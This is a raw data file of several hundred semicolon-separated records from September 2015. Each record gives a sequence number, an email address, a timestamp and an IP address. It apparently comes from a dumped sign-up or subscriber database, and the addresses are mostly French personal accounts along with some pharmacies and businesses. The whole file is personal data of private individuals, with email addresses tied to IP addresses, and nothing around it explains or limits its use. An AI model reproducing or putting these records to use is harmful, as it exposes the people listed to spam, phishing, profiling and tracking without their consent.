+13745;pharmacie.barbier@laposte.net;2015-09-16 13:22:21;176.187.79.176 +13746;bea.pico@hotmail.fr;2015-09-16 14:09:16;82.240.37.203 +13747;hemptemarjorie@yahoo.fr;2015-09-16 14:12:22;195.238.24.42 +13748;geraldine-cau@hotmail.fr;2015-09-16 14:13:21;89.224.217.118 +13749;florenceducher@orange.fr;2015-09-16 14:35:48;5.50.88.49 +13750;elenapedone@hotmail.com;2015-09-16 14:46:22;62.235.228.61 +13751;jestin.rejane@neuf.fr;2015-09-16 14:59:02;88.169.164.211 +13752;anneheslot@hotmail.fr;2015-09-16 15:03:00;90.21.199.1 +13753;marie.guene@hotmail.fr;2015-09-16 15:22:17;93.22.124.158 +13754;carole.durdux@gmail.com;2015-09-16 15:35:03;194.214.141.20 +13755;pierreclaud@orange.fr;2015-09-16 15:39:52;90.20.243.94 +13756;anabel241191@gmail.com;2015-09-16 15:53:16;92.147.184.4 +13757;fbigouret@yahoo.fr;2015-09-16 16:14:38;109.190.76.35 +13758;annesophie.verplancke@neuf.fr;2015-09-16 16:48:33;77.203.96.7 +13759;mamkane@hotmail.fr;2015-09-16 16:55:27;109.0.226.138 +13760;lecerf_laurie-anne@live.fr;2015-09-16 17:52:10;90.22.205.61 +13761;florence.mardirossian@yahoo.fr;2015-09-16 17:56:02;82.67.30.206 +13762;jennib.jr@gmail.com;2015-09-16 18:35:09;81.48.18.26 +13763;tourmentdelavie@hotmail.fr;2015-09-16 18:55:05;90.3.115.189 +13764;myreillebonnet@aol.com;2015-09-16 19:37:52;89.94.172.142 +13765;celinechaye@aol.com;2015-09-16 19:44:38;82.248.93.175 +13766;morganebousquet@hotmail.com;2015-09-16 20:28:22;77.150.115.69 +13767;debord.bertrand@akeonet.com;2015-09-16 20:36:58;109.10.19.54 +13768;francois.dumont52@sfr.fr;2015-09-16 20:48:10;78.116.121.59 +13769;florence_pilot@hotmail.com;2015-09-16 21:21:52;77.132.243.21 +13770;legarez.priscillia@gmail.com;2015-09-16 21:41:03;90.47.68.135 +13771;leafosse@gmail.com;2015-09-16 21:54:05;82.247.183.115 +13772;lucile.gitton@wanadoo.fr;2015-09-16 22:20:16;78.248.242.178 +13773;chamblas.francoise@orange.fr;2015-09-16 22:23:14;90.29.98.96 +13774;lauriannereverchon@yahoo.fr;2015-09-16 22:46:48;109.213.239.23 +13775;operabastille2@yahoo.fr;2015-09-16 22:53:03;89.82.120.153 +13776;pharmacieazurea@gmail.com;2015-09-16 23:18:39;88.209.104.15 +13777;stambene.joelle@hotmail.fr;2015-09-17 00:38:06;77.198.60.244 +13778;pharmavero@gmail.com;2015-09-17 00:59:47;82.228.134.104 +13779;caroleb36@hotmail.com;2015-09-17 02:23:03;92.149.46.252 +13780;pierrotgourmand83@laposte.net;2015-09-17 10:08:12;81.65.173.180 +13781;catherinevallon@hotmail.com;2015-09-17 10:33:15;93.95.232.190 +13782;morgane@1703factory.com;2015-09-17 11:01:02;85.168.67.216 +13783;paulinesautelet@hotmail.fr;2015-09-17 11:27:03;62.160.99.32 +13784;lopezsylvie2380@neuf.fr;2015-09-17 12:29:32;77.146.179.102 +13785;ambrebamde@gmail.com;2015-09-17 12:59:43;2.11.123.219 +13786;fionaboudriot@hotmail.fr;2015-09-17 13:15:40;81.57.51.198 +13787;annesastre@bbox.fr;2015-09-17 13:23:49;87.91.235.220 +13788;veronique.genovese@numericable.com;2015-09-17 14:30:26;85.168.135.90 +13789;sgautier@esc-packaging.com;2015-09-17 15:33:58;109.0.34.178 +13790;titouille79@yahoo.fr;2015-09-17 16:18:03;194.254.62.71 +13791;katherine@bourmance.eu;2015-09-17 16:24:55;84.6.105.8 +13792;scoureau@yahoo.fr;2015-09-17 16:38:21;83.145.76.86 +13793;claudaki13@yahoo.fr;2015-09-17 16:54:22;90.22.70.154 +13794;cclateux@orange.fr;2015-09-17 17:33:51;86.192.253.34 +13795;jlmastantuono@yahoo.fr;2015-09-17 18:02:07;109.215.151.41 +13796;caroline.rencurel@gmail.com;2015-09-17 18:04:27;93.27.222.160 +13797;ethynea@gmail.com;2015-09-17 18:28:58;93.9.201.4 +13798;monique.schmitt@86sfr.fr;2015-09-17 19:01:54;77.128.206.47 +13799;karole357@hotmail.fr;2015-09-17 19:30:59;88.164.242.157 +13800;choque.maitey@gmail.com;2015-09-17 19:52:38;88.125.58.15 +13801;robert.michelle@live.fr;2015-09-17 20:05:51;82.245.197.187 +13802;annadearriba@gmail.com;2015-09-17 20:19:11;88.160.137.50 +13803;jagu.martine@neuf.fr;2015-09-17 20:39:35;86.204.56.111 +13804;starlinlin@hotmail.com;2015-09-17 20:45:49;128.79.154.174 +13805;rcclain@hotmail.com;2015-09-17 20:46:08;80.8.63.103 +13806;soultania@hotmail.fr;2015-09-17 21:08:11;82.240.178.94 +13807;alexendra.oden@orange.fr;2015-09-17 21:33:52;90.23.209.239 +13808;solennefauquet@orange.fr;2015-09-17 21:45:16;84.254.177.142 +13809;red@redbkode.com;2015-09-18 00:13:40;90.48.148.211 +13810;idoux.ac@orange.fr;2015-09-18 00:19:13;92.130.22.118 +13811;Christelesaniel@gmail.com;2015-09-18 01:40:25;83.199.189.51 +13812;catherine-te@orange.fr;2015-09-18 08:31:14;86.235.201.118 +13813;a100drine@yahoo.fr;2015-09-18 08:47:10;88.170.210.125 +13814;antonella.cavarero@gmail.com;2015-09-18 09:42:38;82.58.176.245 +13815;am.lebechec@free.fr;2015-09-18 09:46:52;90.49.100.177 +13816;anais.lafuente@daytona.fr;2015-09-18 11:21:49;84.14.223.91 +13817;francois.guilleron@orange.fr;2015-09-18 11:54:34;92.135.125.198 +13818;niniviale@gmail.com;2015-09-18 12:12:05;90.85.156.137 +13819;sbelbis@gmail.com;2015-09-18 12:50:34;109.208.211.68 +13820;carole.lheureux@free.fr;2015-09-18 13:15:36;78.203.44.158 +13821;pascalejamain@gmail.com;2015-09-18 13:23:38;86.223.1.242 +13822;pascaleblu@yahoo.com;2015-09-18 13:23:46;86.223.1.242 +13823;msdefabreges007@gmail.com;2015-09-18 13:38:57;92.137.229.222 +13824;cyndie.demeocq@gmail.com;2015-09-18 13:50:23;90.227.101.153 +13825;negadi-dja@live.fr;2015-09-18 14:10:15;78.250.51.57 +13826;brigitte.sanchezgrande@numericable.fr;2015-09-18 14:19:23;81.64.251.180 +13827;aubertsophie@hotmail.com;2015-09-18 14:57:16;86.210.252.161 +13828;daniellecrouau@yahoo.fr;2015-09-18 15:01:10;90.16.68.61 +13829;marianne.persine@gmail.com;2015-09-18 16:07:47;78.193.111.60 +13830;laetitia.duthoit@club-internet.fr;2015-09-18 16:46:43;77.145.32.54 +13831;decroly59@msn.com;2015-09-18 17:35:30;81.66.142.36 +13832;malika-claude@hotmail.fr;2015-09-18 18:09:35;176.188.248.21 +13833;rene.mariefrance@orange.fr;2015-09-18 19:17:23;82.126.23.225 +13834;beckerich-paul@orange.fr;2015-09-18 19:19:40;92.148.223.134 +13835;stephanegrunevald@orange.fr;2015-09-18 19:20:22;82.126.68.139 +13836;murielloumeau@hotmail.fr;2015-09-18 20:01:32;90.16.177.93 +13837;isabelle.buvry@gmail.com;2015-09-18 20:16:56;86.192.175.54 +13838;annie.bongaerts@yahoo.fr;2015-09-18 21:09:36;83.199.141.18 +13839;cljouve@yahoo.fr;2015-09-18 21:33:14;84.98.37.48 +13840;carole.jalaberrt@gmail.com;2015-09-18 21:51:30;92.133.195.28 +13841;rouvierlaurence@laposte.net;2015-09-18 22:20:47;84.101.95.87 +13842;myriam.madonne@orange.fr;2015-09-19 09:52:14;90.16.155.134 +13843;marienido42@gmail.com;2015-09-19 11:04:05;81.64.188.118 +13844;catbrumm@orange.fr;2015-09-19 13:17:36;90.48.183.146 +13845;nekiche.sabrina@bbox.fr;2015-09-19 14:13:08;89.87.202.187 +13846;rina.romano@voila.fr;2015-09-19 15:22:30;90.61.118.124 +13847;rroselinegineste@orange.fr;2015-09-19 15:34:50;90.37.182.28 +13848;yangjinleifr123@163.com;2015-09-19 16:00:14;82.235.61.210 +13849;jessica.manzato@bbox.fr;2015-09-19 17:46:16;176.149.216.83 +13850;mariehjac@orange.fr;2015-09-19 17:53:38;88.184.196.228 +13851;aurelie.trybs21@gmail.com;2015-09-19 18:15:17;92.90.220.27 +13852;eglantine.elie@wanadoo.fr;2015-09-19 20:59:11;89.82.138.122 +13853;cynthiacoustillas@orange.fr;2015-09-19 21:23:28;2.6.181.159 +13854;ebherridge@hotmail.com;2015-09-19 23:11:38;109.148.251.24 +13855;nade3112@aol.com;2015-09-20 01:41:56;77.196.224.10 +13856;sebbe.sandrine@wanadoo.fr;2015-09-20 10:47:18;90.26.232.157 +13857;paulined88@hotmail.fr;2015-09-20 10:55:19;90.85.42.2 +13858;nathalie.brient@mpsa.com;2015-09-20 11:14:10;88.186.192.180 +13859;aurorebruyere@hotmail.fr;2015-09-20 11:25:36;85.171.236.34 +13860;alain.martinez702@dbmail.com;2015-09-20 11:46:48;92.102.197.46 +13861;cecilia.micheli@hotmail.fr;2015-09-20 12:24:45;176.187.244.57 +13862;mariejulieachard@gmail.com;2015-09-20 12:39:10;89.94.207.135 +13863;kevyas@free.fr;2015-09-20 12:50:49;88.170.109.138 +13864;nathalie.ruiz@ipsen.com;2015-09-20 13:37:09;88.179.80.177 +13865;caroleaurat@aol.com;2015-09-20 13:49:39;93.15.240.83 +13866;rebecca.petter@hotmail.fr;2015-09-20 14:14:53;90.62.19.144 +13867;francybertrand@yahoo.com;2015-09-20 14:42:41;176.179.250.193 +13868;claire.chatain@orange.fr;2015-09-20 14:49:10;90.52.33.53 +13869;francoisekill@hotmail.com;2015-09-20 14:50:03;85.201.102.74 +13870;christine-wattigny@orange.fr;2015-09-20 15:02:33;83.198.103.37 +13871;katline.metzger0@orange.fr;2015-09-20 15:17:22;90.40.208.131 +13872;valerielejeune97@orange.fr;2015-09-20 15:52:40;92.138.181.131 +13873;pititi.corinne@gmail.com;2015-09-20 16:45:23;83.153.137.67 +13874;lyakoub@hotmail.com;2015-09-20 16:58:11;84.101.39.156 +13875;baty.sandrine@gmail.com;2015-09-20 17:41:24;88.185.110.176 +13876;jack.mar@club-internet.fr;2015-09-20 17:46:59;78.113.131.91 +13877;karinehalluin@sfr.fr;2015-09-20 17:52:57;109.25.38.50 +13878;marieflorenceefon@gmail.com;2015-09-20 18:27:42;82.217.21.47 +13879;christie.morlon@numericable.fr;2015-09-20 19:21:10;89.2.170.227 +13880;marieanne107@hotmail.com;2015-09-20 19:27:06;109.30.116.21 +13881;sabotp@yahoo.fr;2015-09-20 19:42:41;88.160.115.5 +13882;maryline.laperle@orange.fr;2015-09-20 19:55:15;81.49.126.236 +13883;thierry.loubiere@sfr.fr;2015-09-20 21:36:45;78.217.60.82 +13884;joanna_drozd@hotmail.com;2015-09-20 21:41:03;109.128.231.98 +13885;angeliquehecquet@orange.fr;2015-09-20 22:59:25;78.231.120.155 +13886;valerie.therese@yahoo.fr;2015-09-20 23:06:01;83.203.236.152 +13887;cbbourgon@gmail.com;2015-09-20 23:16:57;88.182.163.79 +13888;bense13@hotmail.com;2015-09-21 00:22:20;88.168.164.178 +13889;galloisghisou@hotmail.fr;2015-09-21 08:13:48;77.146.63.250 +13890;mjjboterf@orange.fr;2015-09-21 08:22:34;93.26.3.85 +13891;Scarloute@gmail.com;2015-09-21 09:24:03;88.186.208.251 +13892;lapalus.gisele@orange.fr;2015-09-21 09:29:00;109.210.108.99 +13893;jumick123@gmail.com;2015-09-21 10:51:50;194.8.148.138 +13894;jumick1203@gmail.com;2015-09-21 10:54:17;194.8.148.138 +13895;marie.gregoire@monster.fr;2015-09-21 11:32:56;193.164.143.246 +13896;toussaintmyriam@orange.fr;2015-09-21 12:26:31;83.197.86.220 +13897;edossantos154@msn.com;2015-09-21 12:43:04;212.76.228.100 +13898;vero.blanchard974@gmail.com;2015-09-21 13:02:35;213.222.77.247 +13899;titiadim@hotmail.fr;2015-09-21 14:30:41;82.127.87.198 +13900;annickblanc@msn.com;2015-09-21 15:14:53;85.169.83.52 +13901;michele.guiheneuf@free.fr;2015-09-21 15:27:51;88.182.36.128 +13902;suzanna.arioli@noos.fr;2015-09-21 15:33:54;89.157.151.102 +13903;l_berden@yahoo.fr;2015-09-21 15:37:24;62.197.103.118 +13904;pierrotjustine@hotmail.fr;2015-09-21 15:40:59;176.179.145.89 +13905;labrunette-du56@hotmail.fr;2015-09-21 16:34:47;2.2.39.210 +13906;caissoanneclaire@gmail.com;2015-09-21 16:40:11;88.162.11.50 +13907;pharmacieduvillagesante@orange.fr;2015-09-21 17:07:45;82.127.4.73 +13908;lesueur.nadia@orange.fr;2015-09-21 17:28:55;92.94.151.167 +13909;mariek1983@hotmail.fr;2015-09-21 17:37:25;93.17.51.134 +13910;a.bertrand689@laposte.net;2015-09-21 18:46:56;79.92.145.109 +13911;h.zorba@gmail.com;2015-09-21 20:26:19;105.158.60.124 +13912;catherinevaillant@free.fr;2015-09-21 20:51:15;78.218.206.41 +13913;lenost.estelle@laposte.net;2015-09-21 21:11:54;78.232.146.152 +13914;marcaurelteb@yahoo.fr;2015-09-21 23:45:14;86.220.56.62 +13915;elise.duchossois@hotmail.fr;2015-09-22 05:51:17;89.87.99.181 +13916;julien.marie53@orange.fr;2015-09-22 07:10:10;86.219.12.223 +13917;l0ra_666@hotmail.com;2015-09-22 09:20:45;194.177.37.108 +13918;jeanpierre.ferreux@sfr.fr;2015-09-22 09:34:14;84.102.63.226 +13919;labe2@aliceadsl.fr;2015-09-22 09:39:06;88.185.204.101 +13920;francesca.giallonardo@gmail.com;2015-09-22 10:10:29;82.245.86.115 +13921;emilieleo.nortier@gmail.com;2015-09-22 11:16:33;31.35.104.135 +13922;michelle.maillard@neuf.fr;2015-09-22 11:45:01;178.213.66.42 +13923;fuertes.e@live.fr;2015-09-22 12:32:03;2.3.18.202 +13924;celinemasson89@yahoo.fr;2015-09-22 12:55:18;62.82.198.30 +13925;LLUBA@live.fr;2015-09-22 13:10:53;88.169.244.39 +13926;laurence-scheffert@live.be;2015-09-22 13:38:03;91.183.88.153 +13927;milagros5@hotmail.fr;2015-09-22 14:01:35;93.22.140.49 +13928;soso.lorenzo@gmail.com;2015-09-22 14:04:33;2.4.241.77 +13929;kawenkala@yahoo.fr;2015-09-22 14:40:02;82.236.114.4 +13930;gramout.gm@gmail.com;2015-09-22 16:24:08;37.38.113.111 +13931;flo.klo@bluewin.ch;2015-09-22 17:02:04;85.7.101.45 +13932;paixao.manuel@akeonet.com;2015-09-22 17:27:22;77.196.170.230 +13933;grimaldi.m@sfr.fr;2015-09-22 17:36:53;86.219.173.164 +13934;durou.magali@orange.fr;2015-09-22 18:33:50;90.51.237.4 +13935;cmthybaud@free.fr;2015-09-22 19:35:16;82.226.80.225 +13936;b.gomez@wanadoo.fr;2015-09-22 20:53:51;89.87.78.214 +13937;juliesaussac@gmail.com;2015-09-22 21:24:08;78.250.133.208 +13938;cerise1821@hotmail.fr;2015-09-22 21:43:06;86.213.39.213 +13939;cathyolimpi03@gmail.com;2015-09-22 21:55:05;90.8.245.88 +13940;mariedescours@wanadoo.fr;2015-09-22 22:21:29;81.65.129.236 +13941;audrey.binabout@gmail.com;2015-09-22 22:25:39;82.232.206.29 +13942;isa.noyer@wanadoo.fr;2015-09-22 23:06:36;109.210.128.5 +13943;valerie-paulhac@orange.fr;2015-09-22 23:24:12;92.128.58.191 +13944;ch.dumaine@laposte.net;2015-09-23 02:10:45;81.64.229.144 +13945;anne-marie.bornes@orange.fr;2015-09-23 07:39:11;86.213.55.226 +13946;mbou2331@yahoo.fr;2015-09-23 08:12:06;46.18.99.250 +13947;pruneprunette@me.com;2015-09-23 10:14:14;90.27.42.141 +13948;sophie.muselet@wanadoo.fr;2015-09-23 11:11:39;93.7.121.54 +13949;corine.perrelle@yahoo.fr;2015-09-23 11:11:58;78.232.233.232 +13950;julie.antoni1@hotmail.fr;2015-09-23 11:26:27;88.123.21.135 +13951;lud0609@yahoo.fr;2015-09-23 14:28:23;31.38.141.249 +13952;scathizneufcinq@hotmail.fr;2015-09-23 14:53:19;92.90.16.179 +13953;ingrid.parrain@wanadoo.fr;2015-09-23 14:57:26;90.30.88.144 +13954;soniadcq@gmail.com;2015-09-23 15:17:18;193.191.178.28 +13955;an.gerondal@orange.fr;2015-09-23 15:39:42;86.219.131.80 +13956;lys18ieme@gmail.com;2015-09-23 16:19:00;82.122.88.143 +13957;chalancon.muriel@orange.fr;2015-09-23 16:32:31;90.11.74.124 +13958;edithgradi@gmail.com;2015-09-23 16:40:35;78.219.189.115 +13959;magali.couppey@orange.fr;2015-09-23 16:59:12;86.220.226.41 +13960;maziere.lachaud@orange.fr;2015-09-23 17:37:07;90.60.6.86 +13961;chancheelo@orange.fr;2015-09-23 17:46:43;83.194.13.90 +13962;oceane074@bbox.fr;2015-09-23 18:23:50;176.188.195.221 +13963;sino.27@hotmail.fr;2015-09-23 18:55:20;88.127.99.56 +13964;pivoine068@gmail.com;2015-09-23 19:51:07;82.227.85.204 +13965;montoya.agnes@yahoo.fr;2015-09-23 20:38:34;80.8.226.247 +13966;patriciamartins660@gmail.com;2015-09-23 20:52:15;109.209.112.231 +13967;an.desnos@laposte.net;2015-09-23 21:57:44;31.29.103.65 +13968;melanie-coulon@sfr.fr;2015-09-23 22:30:41;79.95.239.203 +13969;bendevibraye@yahoo.fr;2015-09-23 23:18:26;93.20.213.92 +13970;emavila7@gmail.com;2015-09-24 00:19:45;82.251.90.169 +13971;jlee@bluewin.ch;2015-09-24 06:08:46;176.127.109.196 +13972;arfa.jennifer@neuf.fr;2015-09-24 06:37:18;77.128.92.160 +13973;riredefeu@yahoo.fr;2015-09-24 07:03:43;78.245.180.17 +13974;bernadette9@outlook.fr;2015-09-24 07:57:38;212.27.36.1 +13975;michel.marie-therese.civel@orange.fr;2015-09-24 09:17:14;2.0.83.149 +13976;mamougin@laposte.net;2015-09-24 09:55:44;85.171.7.246 +13977;xqy1120@qq.com;2015-09-24 10:15:31;27.17.58.198 +13978;claire.avezou@gmail.com;2015-09-24 10:50:33;84.246.217.22 +13979;oragerose.lg@gmail.com;2015-09-24 11:32:50;78.250.69.82 +13980;jessica.barbara@hotmail.fr;2015-09-24 11:53:18;90.30.6.54 +13981;laurence.charvet@umpf-grenoble.fr;2015-09-24 11:55:18;195.221.47.67 +13982;sigalia.el@gmail.com;2015-09-24 13:42:17;176.189.95.121 +13983;isabellekleinert@me.com;2015-09-24 13:44:40;90.44.201.19 +13984;marie-jose.barbet@orange.fr;2015-09-24 14:20:16;2.5.59.242 +13985;nbaillif@laposte.net;2015-09-24 14:41:05;193.253.118.191 +13986;julie_christine@orange.fr;2015-09-24 15:14:05;90.38.177.62 +13987;tiffany.baudrion@gmail.com;2015-09-24 17:04:18;89.80.19.87 +13988;yvonne.dicaro@outlook.fr;2015-09-24 17:10:22;176.185.28.252 +13989;zuber.anneceline@neuf.fr;2015-09-24 18:03:51;82.240.189.12 +13990;maqteam@orange.fr;2015-09-24 18:33:24;90.14.13.220 +13991;florence.denain@hotmail.fr;2015-09-24 20:13:02;78.217.216.116 +13992;marine.j57@gmail.com;2015-09-24 22:47:47;86.197.67.39 +13993;christine.chevalier0954@orange.fr;2015-09-25 09:23:28;109.190.92.209 +13994;armelle.boinet@hotmail.fr;2015-09-25 10:00:59;46.35.19.1 +13995;menouxc@outlook.fr;2015-09-25 10:24:51;109.3.191.140 +13996;alaincosta@hotmail.fr;2015-09-25 10:32:08;213.111.24.8 +13997;corinneompraret@orange.fr;2015-09-25 10:42:53;109.223.7.112 +13998;sandrine.follain@ifa-rouen.fr;2015-09-25 11:18:18;194.214.144.2 +13999;cecilmoll@hotmail.com;2015-09-25 12:10:41;83.156.241.14 +14000;pally.mariepierre@icloud.com;2015-09-25 14:24:26;78.199.236.45 +14001;laetitia.primault2@gmail.com;2015-09-25 14:25:10;88.165.172.125 +14002;sophie.aslanides@orange.fr;2015-09-25 14:38:18;86.249.193.170 +14003;yebkasoraya@hotmail.com;2015-09-25 14:48:26;92.103.142.28 +14004;carol31philippe@gmail.com;2015-09-25 16:46:20;37.160.47.26 +14005;chrisboubi@yahoo.fr;2015-09-25 17:01:01;86.200.32.93 +14006;s.lippler@free.fr;2015-09-25 17:37:26;92.103.51.196 +14007;ac.montoya@gmail.com;2015-09-25 18:28:35;82.126.177.208 +14008;jeanne.rizzi@free.fr;2015-09-25 19:19:42;212.198.92.208 +14009;cborde@hotmail.fr;2015-09-25 19:43:52;90.0.175.249 +14010;arlette.reb@oange.fr;2015-09-25 20:17:22;92.138.85.121 +14011;gerard.josette0820@orange.fr;2015-09-25 20:36:37;92.157.167.103 +14012;bleuceline@hotmail.fr;2015-09-25 20:53:15;90.58.238.162 +14013;steph.hollebecque@hotmail.fr;2015-09-25 22:22:31;88.164.221.119 +14014;solenngervais@gmail.com;2015-09-25 22:32:44;78.223.99.31 +14015;corine.mg.dubois.cd@orange.fr;2015-09-25 22:50:43;90.1.124.185 +14016;herin.caroline@gmail.com;2015-09-25 22:55:17;79.82.64.68 +14017;karamarine@hotmail.fr;2015-09-26 01:01:37;78.221.134.158 +14018;nathalie.rolle@wanadoo.fr;2015-09-26 09:35:54;81.49.223.77 +14019;vallee_dreydrey1709@hotmail.com;2015-09-26 09:41:23;2.8.184.51 +14020;verofrat@outlook.fr;2015-09-26 10:00:45;88.181.61.80 +14021;b.tasli@laposte.net;2015-09-26 11:01:42;88.164.1.113 +14022;madamemanu@orange.fr;2015-09-26 11:17:57;86.217.172.175 +14023;serratore.dominique@neuf.fr;2015-09-26 11:20:15;86.205.140.113 +14024;celine_c@orange.fr;2015-09-26 11:35:43;90.48.251.117 +14025;mp.berne-ageron@orange.fr;2015-09-26 12:00:39;109.213.244.99 +14026;nathalie.buchholtz@gmail.com;2015-09-26 12:30:04;62.241.114.146 +14027;nany59000@yahoo.fr;2015-09-26 13:24:36;176.190.17.78 +14028;khandipablo@gmail.com;2015-09-26 14:14:36;88.174.90.100 +14029;jgchuppe@orange.fr;2015-09-26 14:16:15;92.133.22.67 +14030;p.severin@wanadoo.fr;2015-09-26 14:30:07;109.222.8.89 +14031;mandythorin@hotmail.fr;2015-09-26 14:53:43;109.13.188.232 +14032;clodette.ange@orange.fr;2015-09-26 15:13:03;78.214.187.30 +14033;amanda.melec@hotmail.fr;2015-09-26 15:41:49;85.69.112.57 +14034;mmichele05@wanadoo.fr;2015-09-26 15:50:41;90.5.241.118 +14035;milja@hotmail.fr;2015-09-26 16:24:44;92.90.16.176 +14036;marie-pascale.ribo@cegetel.net;2015-09-26 17:33:27;84.102.241.162 +14037;a.breton-buteau@sfr.fr;2015-09-26 19:59:45;193.48.70.216 +14038;fannygrsg@gmail.com;2015-09-26 21:23:39;176.179.102.250 +14039;ccarut@gmail.com;2015-09-26 21:49:10;88.122.105.55 +14040;jacqueline.lansucki@orange.fr;2015-09-26 21:51:16;80.12.39.110 +14041;marjohann@hotmail.fr;2015-09-26 22:24:58;109.214.179.30 +14042;christelle.grosjean846@orange.fr;2015-09-26 22:28:58;86.218.154.202 +14043;c.faillat@wanadoo.fr;2015-09-26 22:51:43;90.60.90.137 +14044;lili_0209@live.fr;2015-09-26 23:12:15;92.152.81.216 +14045;liu.ruitu@gmail.com;2015-09-26 23:31:13;82.231.159.55 +14046;mariejoellemeunier@gmail.com;2015-09-26 23:45:46;83.200.137.157 +14047;anne.34@outlook.fr;2015-09-27 01:08:43;82.239.219.241 +14048;nono-is-zen@hotmail.fr;2015-09-27 04:05:15;88.164.32.204 +14049;hellec.m@wanadoo.fr;2015-09-27 07:25:09;31.38.202.114 +14050;thierry.cagneaux@orange.fr;2015-09-27 07:54:28;92.131.227.178 +14051;batilucas@hotmail.com;2015-09-27 08:15:27;84.100.56.191 +14052;bayahibay@me.com;2015-09-27 08:19:58;88.166.243.159 +14053;catherine.rumont@gmail.com;2015-09-27 08:54:34;5.50.189.242 +14054;alain.deroover@orange.fr;2015-09-27 09:20:20;92.147.187.201 +14055;celine_goud13@yahoo.fr;2015-09-27 09:37:24;78.205.72.3 +14056;mariehelene.grand@gmail.com;2015-09-27 10:37:48;176.187.124.178 +14057;pascal.laurent46@orange.fr;2015-09-27 10:48:30;92.144.186.126 +14058;mltpower@yahoo.fr;2015-09-27 10:48:41;82.226.17.9 +14059;pbesson.doisy@gmail.com;2015-09-27 10:55:55;90.58.254.9 +14060;lemondeestgrand83@hotmail.fr;2015-09-27 11:11:55;78.216.30.163 +14061;indeegal60@hotmail.fr;2015-09-27 12:25:56;77.130.51.234 +14062;jocelyne.hellec@orange.fr;2015-09-27 13:00:26;86.215.159.215 +14063;delphine.pietu@gmail.com;2015-09-27 13:30:09;90.63.86.33 +14064;mfrerot@hotmail.com;2015-09-27 14:00:56;83.114.85.2 +14065;pierre.frontero@wanadoo.fr;2015-09-27 14:05:38;83.113.105.19 +14066;amelie.senamaud@laposte.net;2015-09-27 14:20:44;88.176.251.54 +14067;marielaroche94@gmail.com;2015-09-27 14:23:17;82.235.33.143 +14068;l.vallade71@gmail.com;2015-09-27 14:40:45;109.16.3.44 +14069;jenniferluc80@gmail.com;2015-09-27 14:46:42;62.61.217.145 +14070;teetz.laura@gmail.com;2015-09-27 15:22:16;86.203.38.49 +14071;kiki.andrist@orange.fr;2015-09-27 15:32:16;2.13.25.250 +14072;delphineseite@hotmail.fr;2015-09-27 15:50:01;80.215.178.183 +14073;vittorio.trabucco@hotmail.com;2015-09-27 16:51:28;93.38.80.255 +14074;sabine.planeille@orange.fr;2015-09-27 17:07:03;92.153.229.155 +14075;mariechristine39@live.fr;2015-09-27 17:07:13;93.158.44.108 +14076;mireillelouis@neuf.fr;2015-09-27 17:32:24;78.123.100.137 +14077;sylvie-garcia@cegetel.net;2015-09-27 17:39:15;77.128.168.122 +14078;duprez.sophie@yahoo.fr;2015-09-27 17:42:26;90.41.251.10 +14079;jean-christophe.triponel@wanadoo.fr;2015-09-27 18:25:37;109.214.170.126 +14080;esther.deruel@laposte.net;2015-09-27 18:30:17;86.70.78.249 +14081;virginiezamboni@gmail.com;2015-09-27 19:53:35;5.50.237.84 +14082;bluesjyn@hotmail.fr;2015-09-27 20:43:42;90.28.139.88 +14083;melseb70@gmail.com;2015-09-27 20:50:45;78.227.140.124 +14084;charlotte.lutin@hotmail.fr;2015-09-27 22:58:20;83.202.207.229 +14085;marggaux@ymail.com;2015-09-27 23:50:33;80.13.139.14 +14086;alexandrabella@hotmail.fr;2015-09-28 00:29:39;195.132.91.215 +14087;elodie.renaudin.89@gmail.com;2015-09-28 09:04:04;90.13.255.142 +14088;alorlou.halm@gmail.com;2015-09-28 09:05:30;123.50.64.216 +14089;jjamin-src@nuxe.com;2015-09-28 09:09:35;213.135.236.52 +14090;lucie.davanne@hotmail.fr;2015-09-28 09:22:36;92.147.111.7 +14091;livet.nicole1@gmail.com;2015-09-28 09:50:31;86.67.110.112 +14092;flavia-porfirio@hotmail.ch;2015-09-28 09:51:10;213.200.231.169 +14093;thierry.barse@orange.fr;2015-09-28 10:00:31;185.22.217.191 +14094;HENRISEIS1@GMAIL.CPM;2015-09-28 10:28:27;109.221.232.241 +14095;martineperez92@gmail.com;2015-09-28 10:47:48;80.11.222.14 +14096;chrisoustelle@gmail.com;2015-09-28 10:50:56;37.1.243.227 +14097;vdandurand@yahoo.fr;2015-09-28 11:08:35;82.244.10.78 +14098;orlane.fp@neuf.fr;2015-09-28 11:34:24;78.212.206.77 +14099;laurencepbecker@gmail.com;2015-09-28 12:41:11;193.49.125.194 +14100;poirelm@me.com;2015-09-28 14:22:59;78.235.125.212 +14101;michelservolle@orange.fr;2015-09-28 14:34:18;90.45.25.98 +14102;adevos6@hotmail.com;2015-09-28 14:38:06;212.35.103.194 +14103;clagru23@gmail.com;2015-09-28 15:05:09;176.187.77.246 +14104;nathalie.renard72@gmail.com;2015-09-28 15:26:57;176.185.25.137 +14105;chouchoukat@yahoo.fr;2015-09-28 15:53:29;86.220.80.200 +14106;pipelette64240@hotmail.fr;2015-09-28 15:55:27;90.45.97.194 +14107;francoise.guet-brohan@wanadoo.fr;2015-09-28 16:02:10;81.50.81.155 +14108;rumini.laurence@neuf.fr;2015-09-28 16:11:50;77.131.212.16 +14109;berenice-b@live.fr;2015-09-28 16:35:28;82.244.226.140 +14110;mariemoy@hotmail.com;2015-09-28 17:28:27;90.44.112.203 +14111;christine.huguet98@sfr.fr;2015-09-28 17:55:14;77.198.42.133 +14112;renaudatpharmacie@gmail.com;2015-09-28 18:16:28;86.220.202.16 +14113;jaspardl@yahoo.fr;2015-09-28 19:05:07;78.233.31.197 +14114;mag.rigottier@yahoo.fr;2015-09-28 19:05:22;86.209.51.55 +14115;pharmaciesirot@offisecure.fr;2015-09-28 19:39:00;194.8.148.139 +14116;isat84200@yahoo.fr;2015-09-28 19:56:52;176.151.111.65 +14117;verodocavagna@wanadoo.fr;2015-09-28 20:03:57;92.161.65.156 +14118;marta.wisniewska@orange.fr;2015-09-28 20:25:53;83.192.201.119 +14119;eleanore.batte@sfr.fr;2015-09-28 21:08:09;109.30.114.56 +14120;ines.le-moign@orange.fr;2015-09-28 21:31:16;79.93.68.53 +14121;evelyne.thomas5@orange.fr;2015-09-28 21:33:35;86.222.129.19 +14122;emimartel@laposte.net;2015-09-28 21:38:27;83.192.123.147 +14123;celineblanche360@gmail.com;2015-09-28 21:52:56;178.51.206.135 +14124;atmanibelynda@club-internet.fr;2015-09-28 22:09:00;176.148.8.103 +14125;mihaelacostelian@gmail.com;2015-09-28 22:16:40;84.97.237.50 +14126;coralinebray@free.fr;2015-09-28 22:49:23;78.218.97.135 +14127;thereseguignault@aliceadsl.fr;2015-09-28 23:30:17;83.158.69.23 